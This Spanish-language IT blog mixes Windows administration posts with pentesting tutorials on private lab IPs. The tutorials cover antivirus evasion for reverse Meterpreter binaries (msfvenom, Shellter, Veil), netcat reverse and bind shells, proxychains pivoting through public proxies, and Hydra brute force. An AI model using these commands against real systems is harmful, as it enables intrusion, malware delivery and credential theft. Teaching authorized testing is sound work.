Páginas

07 noviembre, 2020

Instalar características RSAT en Windows 10 cuando WSUS bloquea su descarga

A partir de las últimas versiones de Windows 10 las RSAT (Remote Desktop Services Tools) ya no se descargan e instalan como un paquete de actualizaciones de Microsoft. Sino que se incorporan como características avanzadas independientes que podemos descargar/instalar directamente desde el nuevo panel de configuración del sistema.

En el caso de que estemos trabajando en una máquina Windows 10 bajo un entorno de actualizaciones controladas por WSUS (Windows Server Update Services) es muy probable que el propio servidor WSUS esté bloqueando la descarga de las características RSAT.

Comprobar si las actualizaciones están controladas por WSUS

Para comprobar que el equipo está controlado por un servidor WSUS podemos comprobar la siguiente rama del registro.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

Si vemos que los valores "WUServer" y "WUStatusServer" existen y apuntan a una dirección, normalmente HTTP puerto 8530 o HTTPS puerto 8531 con un nombre DNS interno significará que nuestro equipo recibe actualizaciones controladas directamente de un servidor WSUS.

¿Cómo instalar RSAT bajo un entorno controlado por WSUS?

Para poder instalar RSAT desde las características avanzadas del nuevo panel de control, abrimos un regedit en un contexto privilegiado como administradores, siguiendo la rama anterior, localizamos la siguiente rama.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

La clave "AU" nos indica la sección de "Actualización automáticas de Windows Update". Aquí vemos el siguiente valor "UseWUServer" y lo establecemos a un valor 0.

  • 1 = Obtiene actualizaciones de un servidor WSUS.
  • 0 = Obtiene actualizaciones de Microsoft Update.

Abrimos una consola PowerShell como administrador y reiniciamos el servicio wuauserv "Windows Update Agent Service".

Restart-Service wuauserv

Ahora ya podemos añadir las características RSAT que queremos, una vez instaladas ya podemos habilitar de nuevo a través del registro la obtención de actualizaciones a través de WSUS.

Figura 1: Instalar características RSAT deshabilitando WSUS. 

Saludos!

23 septiembre, 2020

Instalar paquetes de actualizaciones .msu en Windows con expand y dism

Cuando nos descargamos parches directamente de Microsoft Update Catalog normalmente el formato estándar suele ser una extensión .msu (Microsoft Update Standalone Installer) del paquete de actualización con su KB identificativo.

Para instalar un paquete de actualización de forma independiente sin hacerlo través de las Windows Update de Microsoft Windows, es tan sencillo como ejecutar con doble clic el fichero msu de instalación y esperar a que finalice el proceso. Aunque no siempre ocurre así y resulta costoso realizar la instalación.

Recientemente instalado el paquete de actualización que corrige la vulnerabilidad crítica CVE-2020-1472 conocida como "Zerologon" de la cual hablé en Linkedin. Quería aplicar este parche en un Windows Server 2019 el parche correspondiente al KB4565349 encontrándome un error de incompatibilidad con el computador en el momento de aplicar el parche.

Figura 1: Error de instalación Windows Update Standalone "actualización no es aplicable".

Una forma para resolver este tipo de problema de incompatibilidad en la aplicación de Updates. Es realizarlo de forma manual haciendo uso de las herramientas en línea de comandos expand y dism (Deployment Image Servicing and Management). Con expand podemos descomprimir el paquete .msu obteniendo así los ficheros .cab y con dism añadimos el paquete de actualización correspondiente al fichero principal .cab a la imagen de Windows en actual indicando el parámetro /Online.

Aplicar paquetes de actualización .msu con expand y dism

Una vez descargado el fichero .msu lo movemos en un directorio raíz. Por ejemplo "C:\Updates\paquete.msu" (previamente creamos esta nueva carpeta).

Con expand descomprimimos el paquete .msu, veremos varios ficheros y algunos .cab.

expand -f:* C:\Updates\paquete.msu C:\Updates\

El parámetro -f especifica los archivos de un archivo contenedor (. cab) que se desea expandir. Puede usarse caracteres comodín (* o ?).

Con dism añadimos el fichero .cab de mayor tamaño a la imagen de Windows actual y esperamos a que termine el proceso.

# CMD
dism.exe /Online /Add-package /Packagepath:"C:\Updates\paquete.cab"

# PowerShell
Add-WindowsPackage -Online -PackagePath "C:\Updates\paquete.cab"

Una vez hecho esto reiniciamos la máquina. Para comprobar que la actualización se instalado correctamente podemos listar las updates instaladas en el sistema.

# CMD
systeminfo

# PowerShell
Get-HotFix

Restaurar configuración Windows Updates

Esto se escapa del caso particular anterior pero lo comento como información adicional. En el caso de que no sea posible aplicar actualizaciones de Windows de la forma tradicional y automática a través de las Windows Updates, una solución que suele funcionar en la mayoría de casos es renombrar o eliminar, dependiendo el caso y el espacio en disco del que se disponga, la carpeta donde se descargan por defecto los paquetes de actualizaciones SoftwareDistribution.

Cuando buscamos nuevas actualizaciones en Windows estas se descargan por defecto en la carpeta "C:\Windows\SoftwareDistribution" una vez descargas Windows aplica/instala estas actualizaciones en el sistema y después de un reinicio las sigue manteniendo en esta ubicación. Una forma de liberar espacio en disco y también restaurar su configuración en caso de errores en el momento de descarga o aplicación de las updates de Windows es:

  • 1. Renombrar la carpeta SoftwareDistribution
  • 2. Intentar descargar y aplicar las nuevas actualizaciones.
  • 3. Eliminar la carpeta vieja renombrada.

Al renombrar esta carpeta Windows no puede encontrar el directorio por lo que la creará de nuevo y cargará la configuración inicial por defecto en lo relacionado a Windows Update.

Para poder renombrar esta carpeta, previamente es necesario detener los procesos que funcionan como servicios de Windows que hacen uso de ella. Ejecutamos una consola cmd con privilegios administrativos.

net stop wuauserv
net stop cryptSvc
net stop bits
net stop msiserver

Ya en consola podemos renombrarla directamente.

ren C:\Windows\SoftwareDistribution SoftwareDistribution_old

Volvemos arrancar nuevamente los servicios.

net start wuauserv
net start cryptSvc
net start bits
net start msiserver

Comprobamos nuevamente si existen nuevas actualizaciones, esperamos a que se descarguen e instalen, reiniciamos el sistema y eliminamos la carpeta renombrado "SoftwareDistribution_old".

Espero que estas dos posibles soluciones puedan resultar de ayuda.

Saludos!

03 septiembre, 2020

Restringir el inicio de sesión a través de escritorio remoto RDP a usuarios Administradores y permitirlo solamente a usuarios específicos

Por defecto para poder usar los Servicios de escritorio remoto RDP Remote Desktop Protocol necesitamos un usuario, ya sea local en la máquina remota o de dominio, que tenga permisos para poder conectarse. Para ello dicho usuario debe ser miembro del grupo "Administradores locales" o bien del grupo "Usuarios de escritorio remoto".

Agregar o quitar usuarios o grupos a través de las Propiedades del sistemas (sysdm.cpl) sería lo mismo que hacerlo a través del propio grupo local "Usuarios de escritorio remoto" que podemos encontrar en la consola lusrmgr.msc.

Figura 1: Administradores locales tienen acceso RDP.

El problema surge cuando necesitamos que en una máquina remota puedan acceder únicamente determinados usuarios pero que las cuentas de usuario miembros del grupo Administradores locales no puedan iniciar sesión a través de RDP.

Evitar el Principio de localidad (Movimiento lateral)

En muchas empresas, por razones principalmente administrativas, es habitual encontrase al usuario Administrador (cuenta integrada) habilitado o simplemente la creación de un nuevo usuario que pertenezca al grupo Administradores locales de la máquina. Suele establecerse la misma contraseña para este usuario en todos las máquinas de la organización lo que se conoce como "Principio de localidad" permitiendo con esto la posibilidad de movimientos laterales de un equipo a otro en un contexto privilegiado y facilitando la capacidad de acceso a través de los Servicios de escritorio remoto a otras máquinas que tengan configurado el mismo usuario y contraseña.

Hardening - Restringir el acceso RDP a los Administradores locales

Para aplicar un poco de hardening y establecer unas buenas prácticas ante esta situación. Añadimos los usuarios específicos ya sean locales o formen parte de un dominio al grupo de "Usuarios de escritorio remoto".

Figura 2: Añadir usuarios de forma nominal al grupo local de Usuarios de escritorio remoto.

Establecemos y modificamos una GPO ya sea nivel local o de de dominio en la consola editor de directivas gpedit.msc o gpmc.msc.

Configuración del equipo > Configuración de Windows > Configuración de seguridad > Asignación de derechos de usuario > "Permitir inicio de sesión a través de Servicios de escritorio remoto"

Quitamos o eliminamos el grupo de usuarios "Administradores". En el caso de un dominio se podría establecer un grupo integrado tipo "Opers. de cuentas" o crear uno específico de dominio el cual también pertenezca al grupo Administradores locales de la máquina (esto se podría realizar de forma masiva mediante una GPO a nivel de dominio). También tendremos la posibilidad de elevarnos a un contexto privilegiado haciendo uso del UAC (User Account Control) ejecutando los procesos como Administrador (Ctrl+Shift) u otro usuario que sea miembro del grupo Administradores locales.

De ese modo no se degradaría la posibilidad de seguir administrando las máquinas e iniciar sesión a través de los servicios de escritorio remoto únicamente para aquellas cuentas de usuario que lo necesiten por su operativa de mantenimiento. Minimizando así el riesgo del principio de localidad comentado anteriormente.

Figura 3: GPO - Limitando el acceso a grupos o usuarios a través de Servicios de escritorio remoto.

En la siguiente captura se puede ver como se denegó el acceso a través de RDP a un usuario adminadrian que es miembro del grupo de "Usuarios" y "Administradores" locales de la máquina que, por defecto tendría acceso al inicio de sesión a través de RDP ya que pertenece al grupo de Administradores locales, independientemente de si pertenece o no al grupo específico "Usuarios de escritorio remoto".

Figura 4: Inicio de sesión denegado a través de escritorio remoto para un usuario privilegiado.

Registro del error en el inicio sesión para el usuario local adminadrian correspondiente al evento con ID: 4625.

Figura 5: Evento con ID 4625 - Error de una cuenta al iniciar sesión.

Saludos!

16 julio, 2020

Shellter y Veil-Evasion: Evasión de antivirus ocultando shellcodes de binarios

Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario.

Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). 

El principal "inconveniente" que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. 

Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasión que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus.

Comparativa de detección por antivirus de binarios con payloads maliciosos

msfvenom

msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la "ocultación" de payloads. 

Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, enconder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario.

Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. 
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe > shell.exe
Generar binario malicioso payload meterpreter con msfvenom.
Figura 1: Generar binario malicioso payload meterpreter con msfvenom.

En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer que antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56.

Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.
Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.


Shellter Framework

Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload con utilizando crypters dificultando así la detección por los antivirus.

Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe.

Shellter - Seleccionar binario vncviewer.exe
Figura 3: Shellter - Seleccionar binario vncviewer.exe.

Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario.

Shellter - Seleccionar y configurar payload en el binario vncviewer.exe
Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe.

Una vez generado el binario por Shellter comprobamos la detección en virustotal. En este ocasión vemos como el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69.

Detección del binario malicioso generado con Shellter en VirusTotal.com
Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com.


Veil-Evasion Framework

Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payload predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos.

Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list.

Veil-Framework - Seleccionar tipo y lista de payloads disponibles
Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles.

Como ejemplo desde la lista seleccionamos el número que corresponde al payload "go/meterpreter/rev_tcp". Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate.

Veil-Framework - Configurar payload y generar binario.
Figura 7: Veil-Framework - Configurar payload y generar binario.

También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así.
./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2
Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción.

Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter.

Detección del binario malicioso generado con Veil-Framework en VirusTotal.com
Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com.

Conclusiones

Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. 

Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de penteting.

Saludos!

06 julio, 2020

Conexiones directas e inversas con Netcat (nc): Obteniendo shells, transferencia de ficheros, banner grabbing y TCP/UDP Scan

Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.

Para ver ejemplos tendremos una máquina Kali (10.0.0.10) con netcat ya instalado y una máquina Windows (10.0.0.19) donde podemos descargar y usar los binarios de netcat para Windows.

Un ejemplo de uso sencillo donde podemos enviarnos información de texto de una máquina a otra como si de un chat se tratara.

nc sería el comando para invocar a netcat. Windows se queda a la escucha -l a espera de establecer la conexión, en modo verbose -v, en el puerto 1190 -p.
nc -lvp 1190
Kali se conecta iniciando la conexión a la dirección IP de la máquina Windows por el puerto 1190.
nc 10.0.0.10 1190
Figura 1: Conexión con netcat nc.


Ejecutando shells en tipo de conexiones directas e inversas


Figura 2: Esquema de conexiones de shells directas e inversas.

En los próximos escenarios se usarán las siguientes máquinas:
  • Kali: 10.0.0.10
  • Windows: 10.0.0.19
  • Puerto de ejemplo: 1190

Conexión directa

Para crear un conexiones directas entre las máquinas Kali y Windows, la máquina víctima se pondrá a la escucha en un puerto y la máquina atacante se conectará directamente a ella estableciendo la conexión. Estas conexiones pueden ser rechazas por el firewall de la máquina víctima ya que inicialmente la conexión es establecida por la máquina atacante.
  • Escenario A: Kali será el atacante y Windows será la víctima.
Windows se pondrá a la escucha en el puerto 1190 ejecutando (ofreciendo ya que está en modo listen -l) una consola Powershell -e.
nc -lvp 1190 -e powershell.exe
Kali se conectará de forma directa estableciendo una conexión a la IP y puerto de la máquina Windows consiguiendo así la Powershell ofrecida.
nc 10.0.0.10 1190
Figura 2: Conexión directa Powershell. Windows listen Kali conecta.
  • Escenario B: Kali será la víctima y Windows será el atancate.
Para crear una conexión directa desde una máquina Windows a una máquina Kali (al contrario que el ejemplo anterior).

Kali se pondrá a la escucha en el puerto 1190 sirviendo una shell /bin/bash para ser ejecutada.
nc -lvp 1190 -e /bin/bash
Windows se conectará a la IP y puerto de la máquina Kali y recibirá la ejecución ofrecida, en este caso una shell bash.
nc 10.0.0.19 1190
Figura 3: Conexión directa /bin/bash. Kali listen Windows conecta.

Conexión inversa

Para crear conexiones inversas entre las máquinas Kali y Windows, la máquina atacante se pondrá en un puerto a la escucha y la máquina víctima se conectará a ella. Estas conexiones tienen un mayor éxito de ser establecidas ya que es la máquina víctima es quien inicia la conexión hacia la máquina atacante y esto evitará un posible bloqueo de la conexión en el firewall del equipo víctima.
  • Escenario A: Kali será el atacante y Windows será la víctima.
Kali será el atacante que se pondrá a la escucha en el puerto 1190 esperando establecer una conexión.
nc -lvp 1190
Windows será la víctima que se conectará a la máquina Kali ejecutando una cmd en la máquina que espera la conexión que será la máquina atacante. Kali recibirá la conexión y la cmd de la máquina víctima.
nc 10.0.0.19 1190 -e cmd.exe
Figura 5: Conexión inversa cmd. Kali listen Windows connecta.
  • Escenario B: Windows será el atacante y Kali será la víctima.
Al contrario que el ejemplo anterior, ahora la máquina Windows será la atacante para recibir una shell bash de la máquina víctima Kali.

Windows es la máquina atacante que se pone a la escucha en el puerto 1190 esperando recibir una conexión por parte de la máquina víctima Kali que tendrá la ejecución de un shell bash. 
nc -lvp 1190
Kali es la máquina víctima que se conecta a la IP y puerto de la máquina atacante ejecutando y consiguiendo así una shell bash para la máquina atacante Windows. 
nc 10.0.0.10 1190 -e /bin/bash
Figura 4: Conexión inversa /bin/bash. Windows listen Kali conecta.

El tráfico generado con netcat no está cifrado por lo que es posible capturarlo y visualizarlo en texto plano.

Figura 6: Análisis del tráfico generado con netcat.

Existe una alternativa similar a netcat llamada cryptcat que emplea comunicaciones cifradas, se trata de un proyecto que no se actualizada desde 2005 está desarrollado en lenguaje C su código fuente está disponible pero será necesario compilarlo con Visual Studio y generar el binario para sistemas Windows.

Transferencia de ficheros

En estos escenarios será el mismo enfoque en ambos, transferir un fichero desde la máquina atacante a la máquina víctima. 

La diferencia radica en el sentido de las conexiones, que máquina estará a la escucha y cual establecerá la primera conexión.
  • Escenario A: Envío de un fichero desde la máquina atacante que establece la conexión inicial, hacia la máquina víctima que permanece a la escucha.
Kali será la máquina desde donde queremos enviar el fichero hacia la máquina remota. Establecemos la conexión a la IP y puerto de la máquina Windows indicando el fichero a transferir como entrada de la conexión con el signo menor que <
nc 10.0.0.10 1190 < file.exe
Windows recibirá el fichero manteniéndose a la escucha en el puerto 1190 esperando recibir el fichero redireccionando su salida con el signo mayor que >.
nc -lvp 1190 > file.exe
Figura 7: Transferencia de ficheros con netcat.

  • Escenario B: Envío de un fichero desde la máquina atacante que permanece a la escucha, hacia la máquina víctima que establece la conexión inicial.
Otra forma de hacerlo sería invirtiendo las conexiones de escucha, aplicando la misma finalidad.

Desde la máquina Kali nos ponemos a la escucha con el fichero.
nc -lvp 1190 < file.exe
Desde la máquina remota Windows establecemos la conexión a la IP y puerto de la máquina Kali indicando como salida el fichero a recibir.
nc 10.0.0.19 1190 > file.exe
Figura 8: Transferencia de ficheros con netcat.

Transferencia de directorios

Para transferir directorios podemos usar el mismo método que enviar un archivo con la diferencia de que previamente podemos comprimir o empaquetar el directorio con tar o zip para posteriormente desempaquetarlo en la máquina destino.

Kali será la máquina donde estará el directorio que queremos transferir, empaquetamos el directorio en un fichero comprimido, hacemos un cat y el fichero comprimido concatenando la salida con una pleca | a netcat donde nos ponemos a la escucha en el puerto 1190 a la espera de recibir una conexión. 
zip data.zip data
cat data.zip | nc -lvp 1190 
Windows será la máquina que recibirá el fichero comprimido que contendrá el directorio, establecemos la conexión a la IP y puerto de la máquina Kali indicando una redirección > y un nombre para el fichero a recibir.
nc 10.0.0.10 1190 > data.zip
Figura 9: Transferencia de directorios (empaquetando el directorio) con netcat.

Envío de información en tiempo real

Com ejemplo usaremos netcat para la transferencia de datos a tiempo real como puede ser un fichero de log.

Kali será la máquina donde se alojará el fichero de log que registra los accesos a un servidor web (/var/log/apache2/access.log), con tail -f e indicando el fichero de log veríamos en pantalla la información actualizándose de forma dinámica en tiempo real, concatenando la salida con un pipe | a netcat IP y puerto hacia la máquina remota Windows que estará a la escucha.
tail -f /var/log/apache2/access.log | nc 10.0.0.10 1190
Windows será la máquina que estará a la escucha en el puerto 1190 a la espera de recibir datos del fichero de log enviado desde la máquina Kali.
nc -lvp 1190
Figura 10: Envío de información en tiempo real de un fichero log con netcat.

Otros usos de netcat

TCP Scan

Podemos usar netcat como herramienta simple para el escaneo de puertos hacia una IP remota, indicando un rango de puertos. El modo de escaneo por defecto es TCP y nos mostrará aquellos puertos y el nombre del servicio/protocolo asociado en caso de que el puerto esté abierto, los puertos cerrados no los mostrará.
  • -v: verbose
  • -z: modo zero-i/o (solo informe de estado de conexión)
  • -n: solo números IP
nc -vzn 10.0.0.11 21-80
Figura 11: TCP Scan - Escaneo de puertos en modo TCP con netcat. 


UDP Scan

Nos permite hacer el mismo escaneo pero usando un modo UDP (parámetro -u). Nos mostrará todos los puertos escaneados, indicando cualquier está abiertos y cerrados, en el caso de los abiertos nos indicará el nombre del servicio/protocolo asociado a ese puerto.
  • -u: modo UDP
nc -vzu 10.0.0.11 21-80
Figura 12: UDP Scan - Escaneo de puertos en modo UDP con netcat.


Banner Grabbing

Por último podemos usar netcat para intentar obtener la información del banner de servicios abiertos en las máquinas remotas. Esto se conoce como técnicas Banner Grabbing.
nc 10.0.0.11 22
nc 10.0.0.11 21
Figura 13: Banner Grabbing - Obteniendo información de versión de servicios SSH y FTP con netcat.


Web de referencia

Reverse Shell Generator: https://www.revshells.com


Conclusiones

En un principio puede resultar confuso entender que diferencias existen entre las conexiones directas e inversas con netcat. Para tenerlo claro hay que entender quién será la máquina atacante y quien será la víctima.

En una perspectiva desde una máquina atacante a una máquina víctima. Las conexiones directas el atacante establecerá la conexión inicial conectándose a un puerto a la escucha establecido en la máquina víctima. Las conexiones inversas el atacante se pondrá en un puerto a la escucha esperando recibir un inicio de conexión desde la máquina víctima proporcionando al atacante una shell interactiva en su ejecución.

Aplicando estos conceptos podemos entender el funcionamiento de conexiones que usa Metasploit para ofrecernos un Meterpreter o una Shell de forma directa o inversa. Un ejemplo sería un handler a la escucha y la construcción de un binario ejecutable donde su payload puede ser una instrucción netcat ejecutando una shell o cualquier otro código que deseemos.

Por otro lado, es interesante conocer que con netcat tenemos la posibilidad de realizar TCP/UDP Scan y Banner Grabbing a máquinas remotas. Es cierto que para esto ya tenemos nmap entre otras herramientas pero no está de más tenerlo en cuenta. 

Saludos!

29 junio, 2020

Pivoting entre proxys encadenados con Proxychains

Proxychains es una herramienta que actúa como un servidor proxy soportando conexiones TCP en protocolos HTTP, HTTPS, SOCKS4 y SOCKS5. Su principal característica es el encadenamiento de servidores proxy configurados y como redirige estas peticiones de uno a otro.

En una fase de reconocimiento y enumeración hacía un sitio web, dependiendo el caso, intentamos mantener un cierto grado de anonimato ocultando nuestra dirección IP pública. Para ello usamos servidores Proxy o VPN Proxy o VPN siendo estas más fiables, prácticas y con un mayor nivel de garantía.

El uso de Proxychains nos permite configurar varios servidores proxy e ir reenviando de uno a otro de forma secuencial las peticiones que realicemos usando una segunda herramienta que no tenga capacidad para realizar esta tarea y así convertirla en anónima como pueden ser el uso de Nmap, SSH, un navegador web, etc.
proxychains <aplicación> <argumento>
proxychains firefox http://ifconfig.me
Existen multitud de sitios web donde podemos encontrar servidores proxy abiertos, para realizar las siguientes pruebas de forma rápida son los que usaré, lo ideal sería usar diferentes máquinas que nosotros montemos y conozcamos en distintos hostings, configurar un servidor proxy con usuario y password y hacer uso de estas IPs y puertos.

hidemy.name

Es un sitio web en el que encontramos una gran lista que suele estar actualizada de servidores proxy públicos.

Proxy List - https://hidemy.name
Figura 1: Proxy list en https://hidemy.name.

Podemos instalar Proxychains desde los repositorios, en Kali ya viene incluido en su suite de herramientas. Algunas de las opciones disponibles a configurar en su fichero de configuración /etc/proxychains.conf.
  • quiet_mode: Si está descomentada indicaría un modo verbose activado.
  • proxy_dns: Todas las peticiones DNS también saldrán por el proxy, es importante para conservar el anonimato, si la petición DNS va por nuestra IP y el tráfico por la IP del proxy podría llegar a encontrarse una correlación en los logs del servidor remoto.
Se encadenan en el mismo orden en el que se define la lista. Un ejemplo de la sintaxis de configuración sería.
<tipo> <IP> <puerto> <usuario> <password>
socks4 192.168.40.30 1080 user pass
En el caso de que el servidor proxy sea público y por lo general no contenga un usuario y contraseña se omitiría.

En el apartado de ProxyList definimos la lista de servidores proxy. Por defecto Proxychains hace uso de Tor. En el siguiente escenario se usarán servidores proxy de la lista anterior de hidemy.name

proxy socks4 público en proxychains
Figura 2: Estableciendo un tipo de proxy socks4 público en proxychains.

En la siguiente captura se muestra el resultado de una petición curl a la web https://ifconfig.me/ip que nos dará como resultado nuestra dirección IP pública sin proxychains. Usando proxychains vemos como la dirección IP pública es el servidor proxy configurado en proxychains, siendo este quién realiza la petición al sitio web.
proxychains curl https://ifconfig.me/ip
IP del proxy al visitar ifconfig.me
Figura 3: Comprobando la IP del proxy al visitar ifconfig.me.

Ahora añadiremos dos servidores proxy al fichero de configuración de proxychains. Si realizamos la misma petición con curl usando proxychains vemos como la petición se reenvía de uno a otro en el mismo orden establecido en el fichero de configuración. Para el sitio ifconfig.me será último servidor proxy quién realizó la solicitud y será el que se registre en log de acceso del servidor web.

Encadenando varios proxys en proxychains
Figura 4: Encadenando varios proxy con proxychains.

Pivoting entre redes internas con Proxychains

Proxychains también nos ayuda en la evasión de firewalls entre las comunicaciones en redes locales internas.

En el siguiente escenario el equipo de la Red A no tiene visibilidad con el equipo de la Red B pero existe un equipo intermedio que tiene visibilidad con ambas redes y que el equipo de la Red B solo aceptará peticiones que provengan de ese equipo intermedio.

Si queremos realizar un escaneo de puertos con nmap desde el equipo de la Red A al equipo de la Red B en una conexión directa no podríamos por una cuestión de visibilidad en la segmentación de redes internas locales. Sin embargo si tenemos acceso al equipo intermedio que si está autorizado para poder comunicarse con el equipo de la Red B.   

Figura 5: Pivoting hacia otra red interna con Proxychains.

Podríamos conectarnos al equipo intermedio y usar namp desde ese equipo, pero no queremos interferir instalando paquetes ni tampoco tenemos permisos suficientes para realizar instalaciones.

En estos casos lo mejor sería establecer una conexión tunelizada ejecutándose en background habilitando un reenvío de puerto dinámico (port forwarding dynamic).
ssh -NfD 1280 adrian@10.0.0.40
  • -N: No ejecuta un comando remoto (útil solo para reenviar puertos)
  • -f: Se ejecuta en segundo plano 
  • -D: Reenvío local de un puerto dinámico
Estableciendo tunel ssh port forwarding dynamic
Figura 6: Estableciendo tunel ssh port forwarding dynamic.

Configuramos proxychains para usar el puerto local 1280 que reenviará la petición al equipo intermedio y este a su vez al equipo de la Red B. En la siguiente captura vemos como usando simplemente nmap no llegamos al equipo de la Red B pero a través de proxychains somos capaces de escanear un servicio web disponible en el puerto 80.
proxychains nmap -sS 10.0.0.16 -p80
Pivoting entre redes locales internas con Proxychains
Figura 7: Pivoting entre redes locales internas con Proxychains.

Saludos!

23 junio, 2020

Hydra, Medusa y Ncrack: Password cracking a servicios por fuerza bruta en profundidad y en anchura (Password spraying)

THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.

Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio.
nmap -p 21 10.0.0.16      # Windows 7 servicio FTP
nmap -p 3389 10.0.0.16    # Windows 7 servicio RDP
nmap -p 445 10.0.0.16     # Windows 7 servicio SMB/CIFS
nmap -p 22 10.0.0.40      # Linux servicio SSH
hydra-fuerza-bruta-wordlist-ftp
Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB.

THC-Hydra

Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos comprometer mediante un intento de autenticación de credenciales.

Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas.

Principalmente se pueden definir 3 tipos de ataques:
  • Fuerza bruta por diccionario con múltiples usuarios y passwords
  • Fuerza bruta en profundidad
  • Fuerza bruta en anchura o Password spraying

Fuerza bruta por diccionario con múltiples usuarios y passwords

Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros "users" y "wordlist" respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP.
hydra -L users -P wordlist -vV 10.0.0.16 ftp
  • -L: Fichero que contiene la lista de usuarios.
  • -P: Fichero que contiene la lista de passwords.
  • -v: Modo verbose
  • -V: Muestra el intento por cada login+pass
  • 10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio.
El usuario "ventas" y la password "Pa$$w0rd123" serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas.

hydra-fuerza-bruta-wordlist-ftp
Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP.

Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario "luis" y su password en el servidor FTP remoto.

log-intento-inicio-sesion-ftp-filezilla
Figura 3: Log en el servidor FTP del intento de autenticación.  

Fuerza bruta en profundidad

Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata utilizar muchas contraseñas para una sola cuenta de usuario.

Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada "maria" y probar un wordlist con varias contraseñas posibles.
hydra -l maria -P wordlist -vV 10.0.0.16 rdp
  • -l: Nombre de usuario único.
  • -P: Fichero de lista de contraseñas.
